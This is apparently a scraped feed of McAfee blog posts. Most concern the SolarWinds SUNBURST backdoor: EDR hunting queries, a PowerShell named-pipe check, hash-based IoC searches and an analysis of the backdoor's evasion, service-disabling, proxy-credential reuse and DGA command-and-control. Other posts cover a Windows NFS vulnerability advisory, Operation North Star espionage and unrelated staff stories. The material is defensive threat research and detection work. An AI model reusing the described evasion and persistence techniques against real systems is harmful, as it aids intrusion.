You can also leverage the historical search function to look for historical connections related to the command and control activity for this threat actor. The filtering by process ID and source/destination IP allows analysts to track down the malicious communications.
MVISION EDR also allows analysts to review historical DNS lookups thus allowing for the ability to hunt for malicious DNS lookups. This is a very important capability in the product as many organizations do not log DNS or have a DNS hierarchy that makes it harder to log the end device making the actual request.
MVISION EDR includes custom collector creation ability that allows for execution of custom commands across the estate. In this case, it’s possible to look for the existence of the Named Pipes by executing the following Powershell command:
Powershell Command for Pipe detection [System.IO.Directory]::GetFiles(“\\.\\pipe\\”) | %{($_ -split “\\”)[6]}
HostInfo hostname, ip_address, os where _NamedPipe pipename contains “583da945-62af-10e8-4902-a8f2 05c72b2e”
It is known the attacker in its final stages leverages legitimate SolarWinds processes to complete their objectives:
\Windows\SysWOW64\WerFault.exe
\SolarWinds\Orion\ExportToPDFCmd.Exe
\SolarWinds\Orion\APM\APMServiceControl.exe
\SolarWinds.Credentials\SolarWinds.Credentials.Orion.WebApi.exe
\SolarWinds\Orion\Topology\SolarWinds.Orion.Topology.Calculator.exe
\SolarWinds\Orion\Database-Maint.exe
ProcessHistory parentname, name, id, cmdline WHERE ProcessHistory parentname equals “WerFault.exe” or ProcessHistory parentname equals “ExportToPDFCmd.Exe” or ProcessHistory parentname equals “APMServiceControl.exe” or ProcessHistory parentname equals “SolarWinds.Credentials.Orion.WebApi.exe” or ProcessHistory parentname equals “SolarWinds.Orion.Topology.Calculator.exe” or ProcessHistory parentname equals “\SolarWinds\Orion\Database-Maint.exe”
MVISION EDR’s architecture leverages the Data Exchange Layer to stream trace data to our cloud service where we apply analytics to identify or investigate a threat. Trace data are artifacts from the endpoint, such as file hashes, processes, communications, typically needed for endpoint detection and searches. The DXL architecture allows that data to be streamed to the cloud as well to a local data store such as a SIEM or other log storage like Elastic simultaneously.
You can store the data longer than the 90-day maximum McAfee stores in our cloud. Why is this important? Recent analysis of SUNBURST suggests that the attack goes as far back as March 2020, and perhaps earlier. This local storage would provide capability to hunt for indicators further back as needed, if so configured.
How do you know what data sources are needed to detect Mitre Att&ck tactics and techniques? Carlos Diaz from MVISION EDR engineering wrote a great tool called Mitre-Assistant to simplify that process. You can download that tool here.
One of the key challenges threat hunters and security analysts face is where the attack progresses through to the second phase of the attack, where it is understood the attacker has dropped malware to execute and complete their objectives. This usage of sophisticated execution of malware from a trusted process is detected by MVISION EDR and automatically mapped to the MITRE ATT&CK Framework. As part of the detection and process tracing, EDR also captures the command executed on the endpoint. This becomes invaluable in case of tracking the manual OPSEC aspect of the second phase of the attack.
MVISION EDR provides extensive capabilities to respond to threats once they have been assessed, e.g. real-time searches once executed allows analysts to scope the affected endpoints rapidly at which point the solution offers multiple options as a method for containment and remediation of the threat across the estate through bulk operations.
MVISION EDR provides a way to easily visualize data egress by looking at topology view of the endpoints where malicious activity has been detected, by observing the network-flow map the outlier connections can be easily identified and then correlated with WHOIS, IP reputation and Passive DNS data from providers like McAfee GTI and Virustotal. Once established, the external connections can be blocked and the endpoint can be quarantined from the EDR console. EDR also shows common processes spawning across multiple endpoints to showcase lateral movement and is also tagged as part of the MITRE techniques being identified and detected.
Combining EDR with Deception technology such as that from Attivo Networks brings together a combination of offensive detection where the attacker can be effectively trapped as result of not getting hold of the real credentials required to make the lateral movement/ privilege escalation a success thus failing in their objective completion.
An integrated approach to DLP can also provide effective protection against the completion of the objectives for e.g. unified DLP policy across the endpoint and web-gateway looking for exfiltration of sensitive organizational data can also provide valuable defenses. McAfee’s UCE platform provides such unified data protection capabilities.
Our latest research indicates attacker is actively looking to establish additional footholds into customer cloud environments such as Azure AD or bypass multi-factor authentication by hijacking SAML sessions, McAfee’s MVISION Cloud Access Control and User Anomaly Detection can identify suspicious access attempts to cloud services and infrastructure.
It is recommended to increase monitoring and investigations into such activity especially with privileged accounts on sensitive infrastructure
In addition to architecture review and continuous hunting for indicators, it is recommended that customers work with their suppliers – IT, Cloud Services, Infrastructure, Hardware, etc. – to validate integrity. Secondly, review controls, detection use cases in the SOC and logs, specifically related to your intellectual property. A tabletop exercise to rehearse crisis management and breach notification procedures is also recommended.
It’s important to note that analysis of this attack is ongoing across the globe and events are still unfolding. The presence/detection of the backdoor and affected software is just the beginning for many customers. MVISION EDR or other tool detections of malicious named-pipe presence and domains help indicate to a customer if the backdoor was running, but with the gathered system information, the adversary may have valid accounts and access to AD or Cloud systems in some cases. The adversary has been wiping information/log files to erase traces. Incident Response is a critical piece of your overall business resilience and if you are affected, you will no doubt be asking yourself these types of questions.
McAfee will continue to post analysis results and defensive guidance as we learn more about the attack. Customers should follow McAfee Labs posts, check the Insights Preview Dashboard for latest threat intelligence, and continually check the Knowledge Center for latest product guidance.
The post How A Device to Cloud Architecture Defends Against the SolarWinds Supply Chain Compromise appeared first on McAfee Blogs.
There has been considerable focus on the recent disclosures associated with SolarWinds, and while existing analysis on the broader campaign has resulted in detection against specific IoCs associated with the Sunburst trojan, the focus within the Advanced Threat Research (ATR) team has been to determine the possibility of additional persistence measures. Our analysis into the backdoor reveals that the level of access lends itself to the assumption that additional persistence mechanisms could have been established and some inferences regarding the intent from adversaries;
Although this analysis will focus on the premise that the backdoor supports the feasibility of establishing additional persistence methods we recognize the importance of providing assurance regarding coverage against available indicators. To that end the following resources are available:
Additional resources will become available as analysis both conducted by McAfee researchers, and the wider community becomes available.
There exists excellent analysis from many of our industry peers into the SUNBURST trojan, and the intention here is not to duplicate findings but to provide analysis we have not seen previously covered. The purpose is to enable potential victims to better understand the capabilities of the campaign in an effort to consider the possibility that there are additional persistence mechanisms.
For the purposes of this analysis our focus centered upon the file “SolarWinds.Orion.Core.BusinessLayer.dll“, this particular file, as the name suggests, is associated with the SolarWinds ORION software suite and was modified with a class added containing the backdoor “SunBurst”.
A deeper dive into the backdoor reveals that the initial call is to the added class “OrionImprovementBusinessLayer” which has the following functions:
The class starts with a check to see if the module is running and, if not, it will start the service and thereafter initiate a period of dormancy.
As was detailed by FireEye, this period of sleep can range from minutes up to two weeks. The actual time period of dormancy is dependent on the checks that must be passed from the code, like hash of the Orion process, write-times of files, process running etc. A sleep period of this length of time is unusual and speaks to a very patient adversary.
The most important strings inside the backdoors are encoded with the DeflateStream Class of the .NET’s Compression library together with the base64 encoder. By examining the block-list, we discover findings that warrant further inspection. First entries are the local-IP address ranges and netmasks:
Followed by the IPv6 local addresses equivalents:
fc00::,fe00::, fec0::,ffc0::,ff00::,ff00::
Next, there is a list of IP-addresses and their associated subnetmasks. We executed a whois on those IP-addressees to get an idea of whom they might belong to. There is no indication as to the reason that the following IPs have been inserted into the blocklist, although the netmasks implemented in certain entries are ‘quite’ specific, therefore we have to assume the attackers were intentional in their desire to avoid certain targets.
Assuming that the victim is not within the block list, the sample will then proceed to create the named pipe 583da945-62af-10e8-4902-a8f205c72b2e. This is done to ensure that only one instance of the backdoor is running. We were able to verify this through replication we carried out within our own environment.
When we ran the backdoor, we were able to confirm that this value is hardcoded in the code, and once the dormancy period passed the service is started and named pipe is created. At this point, the backdoor will also create a unique UserID MD5 value for the system it is installed on as depicted within figure 5.
This particular routine will initially read the Device-info of the system but ignore the loopback interfaces (part of the code of the ReadDeviceInfo routine that mentions “Select * From Win32_NetworkAdapterConfiguration where IPEnabled=true” ). The Device-info will then be combined with the domain name, followed by a value from the registry key (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography). This information is then used to create an MD5 value of that string.
The module will start the ‘update’ routine. This routine is a continuous loop designed for verification against, for example, unwanted services that could potentially be used against detection of the backdoor as depicted in figure 6.
The backdoor gathers information from the system. The following information is gathered by a routine called “CollectSystemDescription”, some examples include;
There exists other subroutines to collect additional data, for example enumerating the information from the network-adaptors, the backdoor uses the GetNetworkAdapterConfiguration routine. The routine is gathering the following information:
In order to check if certain ‘unwanted’ services are running, the backdoor enumerates the services, creates a hashlist and compares them with a hard-coded set of these values. The ‘update’ routine will exit once a ‘block-listed’ process id discovered. The backdoor will attempt to stop these services by entering a value in the registry for that service that will disable that service. The update routine will check again and continue this process until all unwanted processes are disabled.
Another capability of the backdoor is to start/stop tasks:
Other functionalities we observed in the code are:
An interesting observation was the check for the presence of SolarWinds’ Improvement Client executable and it’s version “3.0.0.382”.
The ImprovementClient is a program that can collect the following information (source SolarWinds) :
Another observation of the http routine was the search for certain keywords in the http-traffic that might indicate the adversary was looking into details/access of cloud and/or wireless networks of their victims by using the SolarWinds’ modules that are installed to monitor/administer these kinds of instances. Managing the network using SolarWinds’ Orion is executed by using a browser and localhost that is hosting the webserver. Reading out the certificate values and search for these keywords in the http-traffic would have gained this information.
After all checks and routines have passed, the backdoor will use a domain generating algorithm (hereafter DGA) to generate a domain. Example of the part of the DGA code:
When the domain is successfully reached, the routine called ‘Update’ contains a part that will act on this and start a new thread firing off the routine “HttpHelper.Initialize”. In the below screenshot we can observe that flow:
The code shows that when the dnsrecord equals the domain and can be reached, the new thread will start in the background.
The ‘HttpHelper’ class/routine is responsible for all the C2 communications:
Even if a victim is using a Proxy-server with username and password, the backdoor is capable of retrieving that information and using it to build up the connection towards the C2. It then uses a routine called “IWebProxy GetWebProxy” for that:
The DGA-generated C2s are subdomains of: avsvmcloud[.]com.
An example of how these domains would look:
Inspecting the CNAME’s from the DGA-generated C2’s we observed the following domain-names:
In the forementioned HTTP handler code, we discovered paths that might be installed on the C2’s for different functions:
Once the backdoor is connected, depending on the objectives from the adversaries, multiple actions can be executed including the usage of multiple payloads that can be injected into memory. At the time of writing, details regarding the ‘killswitch’ against the above domain will prevent this particular backdoor from being operational, however for the purpose of this analysis it demonstrates the level of access afforded to attackers. While the efforts to sinkhole the domain are to be applauded, organisations that have been able to identify indicators of SUNBURST within their environment are strongly encouraged to carry out additional measures to provide themselves assurances that further persistent mechanisms have not been deployed.
The post Additional Analysis into the SUNBURST Backdoor appeared first on McAfee Blogs.
Part I of II
In a blog post released 13 Dec 2020, FireEye disclosed that threat actors compromised SolarWinds’s Orion IT monitoring and management software with a trojanized version of SolarWinds.Orion.Core.BusinessLayer.dll. The trojanized file delivers the SUNBURST malware through a backdoor as part of a digitally-signed Windows Installer Patch. Use of a Compromised Software Supply Chain (T1195.002) as an Initial Access technique is particularly critical as it can go undetected for a long period. FireEye released countermeasures that can identify the SUNBURST malware.
If you are using SolarWinds software, please refer to the company’s guidance here to check for vulnerable versions and patch information. McAfee has evaluated the published countermeasures and will continue to analyze further attack indicators. It’s important to note that this was a very sophisticated attack and customers are advised to assess their overall security architecture capability to either prevent, detect or respond to an APT threat. This attack reminds us that in today’s digital enterprise the supply chain includes many diverse elements including but not limited to critical equipment and hardware, cloud software and infrastructure as a service provider and critical IT software. Customers are advised to assess both intellectual property protection and supply chain integrity strategies. Part one of this blog series details initial McAfee defensive guidance and response actions. Part two will describe additional mitigation and solution recommendations.
For the latest information on McAfee see KB93861and subscribe to receive updates. Below is protection summary to date for the known backdoor indicators
McAfee Labs will continue analysis for any known indicators associated with this attack and update product protection accordingly. Furthermore, analysis is underway to analyse the behavioural components of the campaign and ensure product efficacy considers protection beyond static measures such as signatures.
MVISION Insights is tracking the campaign as SolarWinds Supply Chain Attack Affecting Multiple Global Victims with SUNBURST Backdoor. Customers can view the public version of MVISION Insights for the latest attack details, prevalence, techniques used and indicators of compromise.
Insights provides the indicators used by SUNBURST. The indicators will continue to update based on automated collection and human analysis. You can use the indicators to hunt on your network. Note: This will be updated as new indicators are verified.
Insights outlines the MITRE Att&ck techniques used by SUNBURST. You can use MITRE Att&ck framework to asses defensive capability across your security architecture.
One of the first initial response actions should be to hunt for known indicators of the attack. You can use MVISION EDR or MAR to search endpoints for SUNBURST backdoor indicators as provided by Microsoft and FireEye. See the search syntax below. If you are licensed for MVISION Insights this query will take place automatically. Additional defensive guidance will be published in an upcoming blog.
Begin MVEDR Query Syntax…
Files name, full_name, md5, sha256, created_at, create_user_name, create_user_domain and HostInfo hostname, ip_address, os and LoggedInUsers username, userdomain where Files sha256 equals “ac1b2b89e60707a20e9eb1ca480bc3410ead40643b386d624c5d21b47c02917c” or Files sha256 equals “c09040d35630d75dfef0f804f320f8b3d16a481071076918e9b236a321c1ea77” or Files sha256 equals “eb6fab5a2964c5817fb239a7a5079cabca0a00464fb3e07155f28b0a57a2c0ed” or Files sha256 equals “dab758bf98d9b36fa057a66cd0284737abf89857b73ca89280267ee7caf62f3b” or Files sha256 equals “32519685c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600” or Files sha256 equals “53f8dfc65169ccda021b72a62e0c22a4db7c4077f002fa742717d41b3c40f2c7” or Files sha256 equals “019085a76ba7126fff22770d71bd901c325fc68ac55aa743327984e89f4b0134” or Files sha256 equals “ce77d116a074dab7a22a0fd4f2c1ab475f16eec42e1ded3c0b0aa8211fe858d6” or Files sha256 equals “32519b85c0b422e4656de6e6c41878e95fd95026267daab4215ee59c107d6c77” or Files sha256 equals “292327e5c94afa352cc5a02ca273df543f2020d0e76368ff96c84f4e90778712” or Files sha256 equals “c15abaf51e78ca56c0376522d699c978217bf041a3bd3c71d09193efa5717c71”
…End MVEDR Query Syntax
You should also search McAfee Web Gateway logs (or other network and SIEM logs) for communication to command and control domains or IP addresses, particularly those categorized as “Malicious Sites” below. Continue to check MVISION Insights for new domains and URLs.
It’s important to note that ongoing analysis will be critical to understand how the attackers will adapt and what additional mitigation is required. This will be a continuous process and we expect to add multiple updates to KB93861. Additionally, customers should follow McAfee Labs posts, check Insights Public Dashboard for latest threat intelligence, and continually check the Knowledge Center for latest product guidance. Part two of this blog will cover defensive capabilities and controls in more depth.
Every week Insights Preview highlights the top emerging threats and campaigns based on ATR Operational Intelligence collection and analysis.
Follow the latest COVID Threat statistics on the public Atlas Dashboard. For more information about how a customer can utilize Atlas and Intelligence as a Service from APG, speak to your McAfee Account Manager for a Threat Intel Briefing and Workshop.
McAfee Labs and Advanced Threat Research teams produce regular research reports with the latest threat intelligence statistics and trends. Please share the reports with customers.
Review and Share our external blogs that feature deeper malware analysis and explanations on emerging threats and attack campaigns.
The post SUNBURST Malware and SolarWinds Supply Chain Compromise appeared first on McAfee Blogs.
At McAfee, ensuring our new team members are well prepared and supported for their roles is a top priority. From the first day of onboarding, team members are nurtured and given the tools they need for successful development.
McAfee’s traditional in-person orientation process has evolved virtually because of the pandemic. But the approach and goal is the same – to transition new team members as efficiently and comfortably as possible so they can make an immediate impact.
We asked four recent additions to the McAfee family what it’s like to join the company via virtual onboarding. They were asked to share how McAfee helped them acclimate to work life as a new employee and to offer highlights now that they’ve settled into their new roles.
Here is what they had to say:
Virtual resources make a difference: “It was my first time onboarding virtually and it felt like a once-in-a-lifetime experience. The process was executed very well, and all training materials were made available to me online. I believe providing these virtual resources was extremely helpful in my onboarding experience.”
Settling in with the right tools, team support: “Like most people in similar circumstances, I wondered what virtual onboarding was going to be like. How could I possibly retain this amount of information? At the end of the day, you realize that you really do have all the right resources. My manager was great and looped me in, and was able to help me to quickly acclimate to my role on the team. My onboarding buddy and fellow team members were also a huge help.”
Engaging and exceeding expectations: “I adapted to my new work life and virtually accomplished everything that most do in-person. I took all of my assessments online and team members offered the different resources that were essential to accomplishing my day-to-day work. My trainer was also very engaging throughout the process.”
Virtually learning to engage customers: “Through daily meetings, my sales coach prepared me for interactions with customers. I learned different ways to engage for meetings and customer visits, and was able to practice my sales pitch just as if it were in person.”
Building better relationships: “In cybersecurity, you are constantly in a state of learning. You never stop the process of improving yourself, your skills, your salesmanship and your relationships. I am now acclimated to my role and building better relationships with my customers.”
A Productive Day One: “The basic onboarding process was easy and enabled me to get the necessary tools like a badge, email and computer equipment prior so that the first day on the job was more productive than prior experiences. I could preview the excellent benefits and enroll shortly after starting, as well as acquire office equipment necessary for me to work from home.”
Easy-to-follow training, introductions: “As an experienced leader, I had no apprehension about virtual onboarding. McAfee’s training and general onboarding introductions were easy to follow and required no advance preparation. While some of the training was time consuming, it was not a burden and frankly insightful.”
Finding balance and having fun: “My role is global, so I found balance between work and family time by juggling the global time zones and meetings. The numerous social and professional groups as well as the MS Teams program with McAfee helped with acclimating to the company. McAfee always keeps it fun with competitions and challenges on the Social Hub between employees. Virtual coffee and happy hours help too.”
Collaborative and better together: “We’re having a strong year, and a big reason is that the team has been very welcoming and always willing to provide training and support – very collaborative. Our best days lie ahead. We are better together and getting better every day.”
A very normal virtual experience: “Initially, I experienced some apprehension about onboarding remotely. It’s difficult enough to learn a new job in the office, and I was worried that learning remotely without having someone sitting next to me might complicate training. But my anxiety quickly dissipated, and I can honestly say that the McAfee onboarding experience felt very normal. My manager, peers and those reporting to me were extremely helpful and stayed in constant communication as I navigated through the first several weeks at McAfee.”
Ease of learning through technology: “Virtual meetings via Teams helped me to quickly acclimate. Talking to others via video was comforting and enabled me to get to know other McAfee team members. McAfee’s onboarding technology made it very easy to learn remotely.”
No need to fear onboarding remotely: “I can truly say that the one major highlight that stands out for me is just getting to know so many amazing employees in this organization. No one should fear or have any anxiety when onboarding virtually at McAfee. It has been and continues to be a great and exciting experience!”
Easy to learn and understand: “The virtual onboarding experience was easy. The learning hub is an excellent resource and helped simplify the process, in addition to offering great product training. As someone who is not only new to McAfee but also the cybersecurity industry, I knew I would have a lot to catch up on. Everything was very easy to understand.”
Very responsive and helpful: “My recruiter stayed in touch with me and made sure my questions were answered. Any time I needed something, the human resources department was very responsive and helpful. My team also rallied around me and have provided a lot of support since I joined McAfee.”
Achieving a steady course: “I love it at McAfee and everyone has been so supportive. Teammates have been incredibly helpful in guiding me through each of their best practices so I could build my roadmap to success.”
Are you thinking about joining our team? McAfee takes great pride in providing a virtual onboarding experience with the right tools and support. Learn more about our jobs. Subscribe to job alerts.
|
Search Career Opportunities with McAfee
Interested in joining our team? We’re hiring! Apply now. Stay Connected For more stories like this, follow @LifeAtMcAfee on Instagram and on Twitter @McAfee to see what working at McAfee is all about. |
The post McAfee Team Members Share Their Virtual Onboarding Experiences appeared first on McAfee Blogs.
Microsoft released a patch today for a critical vulnerability (CVE-2020-17051) in the Windows NFSv3 (Network File System) server. NFS is typically used in heterogenous environments of Windows and Unix/Linux for file sharing. The vulnerability can be reproduced to cause an immediate BSOD (Blue Screen of Death) within the nfssvr.sys driver. Interestingly, the November patches from Microsoft also include a remote kernel data read vulnerability in the same nfssvr.sys driver (CVE-2020-17056), which leads to a potential ASLR (address space layout randomization) bypass. The combination of these two vulnerabilities dramatically increases the likelihood of a remote exploit when used on Windows Server to bypass exploit mitigations. CVE-2020-17051 is the first known vulnerability which has been disclosed within the Windows implementation of the NFSv3 protocol to the best of our knowledge.
The vulnerability is believed to impact all versions of Windows Server when:
A Shodan query reported 38,893 servers with port 2049 exposed to the internet; however, it is unknown what percentage of these servers are actually NFS shares and actually configured with anonymous write access. The network share discovery technique is typically used by an adversary within the discovery phase of the MITRE ATT&CK framework with the objective to gain further privileges. CVE-2020-17051 would give adversaries the ability to spread worm–like within heterogenous Windows and Unix/Linux environments using anonymous write access file shares over NFSv3.
Patching is always the first and most effective course of action. If it’s not possible to patch, the best mitigation is to limit Windows NFSv3 server share write access internally and block any external access to vulnerable servers. For those McAfee customers who are unable to deploy the Windows patch, the following Network Security Platform (NSP) signatures will provide a virtual patch against attempted exploitation of this vulnerability.
NSP Attack ID: 0x40c01200 – NFS Microsoft Windows Network File System Remote Code Execution Vulnerability (CVE-2020-17051)
The post CVE-2020-17051: Remote kernel heap overflow in NFSv3 Windows Server appeared first on McAfee Blogs.
Paying Tribute
November 11 marks Veterans Day and Remembrance Day. It is a time for us to come together and honor the brave men and women who have risked their lives to protect our nations.
We pay tribute to those who have served in the U.S. military during Veterans Day. In the Commonwealth countries, we honor military members through Remembrance Day, a day to remember those who have passed on in the line of duty.
At McAfee, we’re proud to work with our veterans! They’ve served and protected our countries and today, they protect all that matters at McAfee.
To honor their sacrifice, we asked McAfee veterans to share throwback photos from their days of service or photos with loved ones in service. Check them out!
Thoughts from our veteran community
This Veterans Day, members from our McAfee Veterans Community share what this day means to them:
“This day reminds me of the people I worked with and the difference we made. It’s the people who volunteer to serve in the military, sacrificing years of their lives, and in some cases, their very lives, who guard and protect the freedoms guaranteed by the Constitution. All military personnel take an oath that, in part, says, ‘I will support and defend the Constitution of the United States against all enemies, foreign and domestic; that I will bear true faith and allegiance to the same.’ This oath doesn’t expire when a service member leaves military service.“
– Andrew, Senior Service Reliability Engineer, Cloud
“This day is the day we honor the silver haired guy in a Prius with a Silver Star license plate or the quiet thirty something mom in the store with her noisy kids wearing the Marine-Corps T-shirt with two tours in Afghanistan under her belt.. Not everyone was a Delta operative or a Navy SEAL. They all however – to a man and woman – had their place in the system that kept us safe. Find them; thank them for their service and your freedom.”
– Kevin, Customer Success Manager, CSG
“I will never stop being Ex Armed Forces. I think fondly of my time in the Royal Navy. I would do it all again in a heartbeat. I still get a lump in my throat when I hear “Heart of Oak” or the “The Last Post” being played. The friends I made and the people I met during my service from all countries and all parts of the Armed Forces, friend or foe, all have a similar vein running through them. Remembrance Day reminds me that while some of us are not here anymore, that vein is still with us and them.“
– Paul, Associate Technical Support Engineer, Customer Success Group
“My family has a history of service and I grew up knowing I would join the Military. I joined the Royal Navy in 1982 at age 18. I’m proud to have served and I will continue to observe the 1 minute silence and attend the remembrance service and take the time to remember the sacrifice. Lest we not forget. For those brave who gave their lives so we could live ours.”
– Tudor, Sr. Project Manager – New Product Information, Global Product Operations
We continue to make strides in actively recruiting veterans and nurturing career growth by empowering the transferable skills from active duty. Join us!
|
Search Career Opportunities with McAfee
Interested in joining our team? We’re hiring! Apply now. Stay Connected For more stories like this, follow @LifeAtMcAfee on Instagram and on Twitter @McAfee to see what working at McAfee is all about. |
The post Honoring Our Brave Military Veterans from the McAfee Community appeared first on McAfee Blogs.
By: Heiko, Senior Security Engineer, Germany
I never could have imagined that what started as a national duty to volunteer in Germany would spark an innate passion of giving back to those in need during a time of crisis.
For many years, German men were required to spend 15 months in the military after graduating from school or volunteer for community service for an equal amount of time over eight years. I chose to volunteer for the Technische Hilfswerk (THW). THW is a civic organization that provides professional help to people in distress.
Little did I know that the experience would be so rewarding that 23 years later, and with the help of McAfee’s Volunteer Time Off (VTO) benefit, I would be spending much of my free time helping those in need of THW’s services.
THW has been instrumental in providing much needed resources during the 2020 coronavirus pandemic, including erecting mobile clinical testing stations across the country and providing critical relief services for front line defense against the virus.
When the hot phase of COVID-19 reached Germany this spring, THW began preparing to build temporary hospital facilities in case the virus threatened to overwhelm hospitals. Temporary camps are built from scratch to house relief units of 500 people and more.
With more than two decades of disaster-response exercises and training behind me, I’ve become very acquainted with constructing these facilities. So, I wasn’t surprised when THW asked me to work with a local fire department to build one to increase the community’s hospital capacity for treating infected patients.
We organized containers with showers and toilets, designed the infrastructure to connect them to the existing water supply, arranged for beds and mattresses and planned needed power requirements. Volunteers assisted in transporting materials and supplies to the facility and assembling the various hospital pieces.
Over the years, volunteering for the THW has become a passion. Many of my best friends are part of the effort, which makes it even more rewarding.
Building the temporary camp was hard and required patience. For two weeks, the 12-hour days were taxing but it was worth it to contribute to the battle against COVID-19.
The spirit of our small group and others kept each of us motivated to meet our goal. Everyone did what he or she could do best, and people from other departments and organizations were willing to be as flexible as possible. I was proud to offer my training at THW to help pull together the community.
Regardless, it wouldn’t have been possible for me to help if not for McAfee’s support. My colleagues and manager chipped in to manage my projects, invoking the true spirit of teamwork.
There is no question that McAfee enables its employees to become a greater part of the community and assist whenever and wherever needed. That benefit makes it even more rewarding to give back to the community.
At McAfee, we encourage and support the efforts of our team members to make a difference in their communities. If you’re interested in joining the McAfee team, we’d love to hear from you.
|
Search Career Opportunities with McAfee Interested in joining our team? We’re hiring! Apply now.Stay Connected For more stories like this, follow @LifeAtMcAfee on Instagram and on Twitter @McAfee to see what working at McAfee is all about. |
The post One Team Member Selflessly Provides Relief to COVID-19’s Front Line appeared first on McAfee Blogs.
The McAfee Advanced Threat Research team today published the McAfee Labs Threats Report: November 2020.
In this edition, we follow our preceding McAfee Labs COVID-19 Threats Report with more research and data designed to help you better protect your enterprise’s productivity and viability during challenging times.
What a year so far! The first quarter of 2020 included a rush of malicious actors leveraging COVID-19, and the trend only increased in the second quarter. For example, McAfee’s global network of more than a billion sensors registered a 605% increase in total Q2 COVID-19-themed threat detections. It’s an example of updated pandemic-related threats you can track on our McAfee COVID-19 Threats Dashboard.
This edition of our threat report also looks at other notable Q2 20 malware increases including:
To help ensure your data and systems remain secure, we have also made available the MVISION Insights preview dashboard to demonstrate the prevalence of such current campaigns. This dashboard also provides access to the Yara rules, IoCs, and mapping of such campaigns against the MITRE ATT&CK Framework. We update these campaigns on a weekly basis so, in essence, this threat report has an accompanying dashboard with more detail on specific campaigns.
I certainly hope that you see the value not only in the data presented within the threats report, but also with the dashboards. Your feedback is important to us.
Stay safe.
What a year so far! We exited the first quarter of 2020 battling the rush of malicious actors leveraging COVID-19, and in the second quarter there are no signs that these attacks seem to be abating.
The post McAfee Labs Report Reveals Continuing Surge of COVID-19 Threats and Malware appeared first on McAfee Blogs.
McAfee’s Advanced Threat Research (ATR) today released research that uncovers previously undiscovered information on how Operation North Star evaluated its prospective victims and launched attacks on organizations in Australia, India, Israel and Russia, including defense contractors based in India and Russia.
McAfee’s initial research into Operation North Star revealed a campaign that used social media sites, spearphishing and weaponized documents to target employees working for organizations in the defense sector. This early analysis focused on the adversary’s initial intrusion vectors, the first stages of how an implant was installed, and how it interacted with the Command and Control (C2) server.
By deepening its investigation into the inner workings of North Star’s C2, McAfee ATR can now provide a unique view into not only the technology and tactics the adversary used to stealthily execute his attacks but also the kinds of victims he targeted.
The latest research probed into the campaign’s backend infrastructure to establish greater perspective into how the adversary targeted and assessed his victims for continued exploitation, and how he used a previously unknown implant called Torisma to execute this exploitation.
McAfee’s findings ultimately provide a unique view into a persistent cyber espionage campaign targeting high value individuals in possession of high value defense sector intellectual property and other confidential information.
Most analysis of cyber campaigns is typically reliant upon the dissection of malware and the telemetry of cyber defenses that have come into contact with those campaigns. McAfee’s analysis of Operation North Star complemented these elements by dissecting the C2 infrastructure that operated the campaign. In doing so, we gained a holistic view of its operations that is rarely available to threat researchers.
Attackers often send out many spearphishing emails to many potential targets rather than precisely targeting the highest value individuals. Once the victim opens a message and infects himself, the malware will try to fully exploit his system. But this broad, less precise approach of infecting many is “noisy” in that it is likely to be identified if these infections are happening at scale across an organization (let alone around the world). Cyber defenses will eventually be able to recognize and stop it.
In the case of Operation North Star, the attackers researched their specific target victims, developed customized content to lure them, engaged them directly via LinkedIn mail conversations, and sent them sophisticated attachments that infected them in a novel way using a template injection tactic.
The campaign used legitimate job recruitment content from popular U.S. defense contractor websites to lure specific victims into opening malicious spear phishing email attachments. Notably, the attackers compromised and used legitimate web domains hosted in the U.S. and Italy to host their command and control capabilities. These otherwise benign domains belonged to organizations in a wide variety of fields, from an apparel manufacturer, to an auction house, to a printing company, to an IT training firm.
Using these domains to conduct C2 operations likely allowed them to bypass some organizations’ security measures because most organizations do not block trusted websites.
The first stage implant was delivered by DOTM files which, once established on a victim’s system, gathered information on that system such as disk information, free disk space information, computer name and logged in username and process information. It would then use a set of logic to evaluate the victim system data sent back by this initial implant to determine whether to install a second-stage implant called Torisma. All the while, it operated to achieve its objectives while minimizing the risk of detection and discovery.
General process flow and component relationship
Torisma is a previously undiscovered, custom-developed, second-stage implant focused on specialized monitoring of high value victims’ systems. Once installed, it would execute custom shellcode and run a custom set of actions depending on the victim systems’ profiles. The actions included active monitoring of the systems and execution of payloads based on observed events. For instance, it would monitor for an increase in the number of logical drives and Remote Desktop Sessions (RDS).
What is clear is that the campaign’s objective was to establish a long-term, persistent espionage campaign focused on specific individuals in possession of strategically valuable technology from key countries around the world.
McAfee’s early analysis of Operation North Star’s spearphishing messages were written in Korean and exhibited mentions of topics specific to South Korean politics and diplomacy. But our latest analysis of North Star’s C2 log files enabled us to identify targets beyond South Korea:
The campaign’s technologies and tactics—the installation of data gathering and system monitoring implants—suggests that the adversary is in a position to remain persistent, conduct surveillance on and exfiltrate sensitive data from its defense sector victims.
The detailed job descriptions used to lure victims and the selective use of the Torisma implant suggest that the attackers were pursuing very specific intellectual property and other confidential information from very specific defense technology providers. Less valuable victims were sidelined to be monitored silently over an extended period of time until they become more valuable.
McAfee cannot independently attribute Operation North Star to a particular hacking group. McAfee has established that the code used in the spearphishing attachments is almost identical to that used by a 2019 Hidden Cobra campaign targeting Indian defense and aerospace companies. This could indicate that either Hidden Cobra is behind Operation North Star or another group is copying the group’s known and established technology and tactics. But sound, accurate attribution requires that technical analysis of such attacks be complemented by information from traditional intelligence sources available only to government agencies.
McAfee’s findings do suggest that the actors behind the campaign were more sophisticated than they initially appeared in our early analysis. They were focused and deliberate in what they meant to achieve and more disciplined and patient in their execution to avoid detection.
Please see our full report entitled “Operation North Star: Behind the Scenes” for a detailed review of ATR’s analysis of the campaign.
Also, please read our McAfee Defender’s blog to learn more about how you can build an adaptable security architecture against the Operation North Star campaign and others like it.
The post Operation North Star: Summary Of Our Latest Analysis appeared first on McAfee Blogs.
It is rare to be provided an inside view on how major cyber espionage campaigns are conducted within the digital realm. The only transparency afforded is a limited view of victims, a malware sample, and perhaps the IP addresses of historical command and control (C2) infrastructure.
The Operation North Star campaign we detailed earlier this year provided just this. This campaign used social media sites, spearphishing and weaponized documents to target employees working for organizations in the defense sector. This early analysis focused on the adversary’s initial intrusion vectors, described the first stages of how an implant was installed, and how it interacted with the Command and Control (C2) server.
However, that initial disclosure left gaps such as the existence of secondary payload, and additional insights into how the threat actors carried out their operations and who they targeted. The updated report takes a unique deep dive following our identification of previously undiscovered information into the backend infrastructure run by the adversaries.
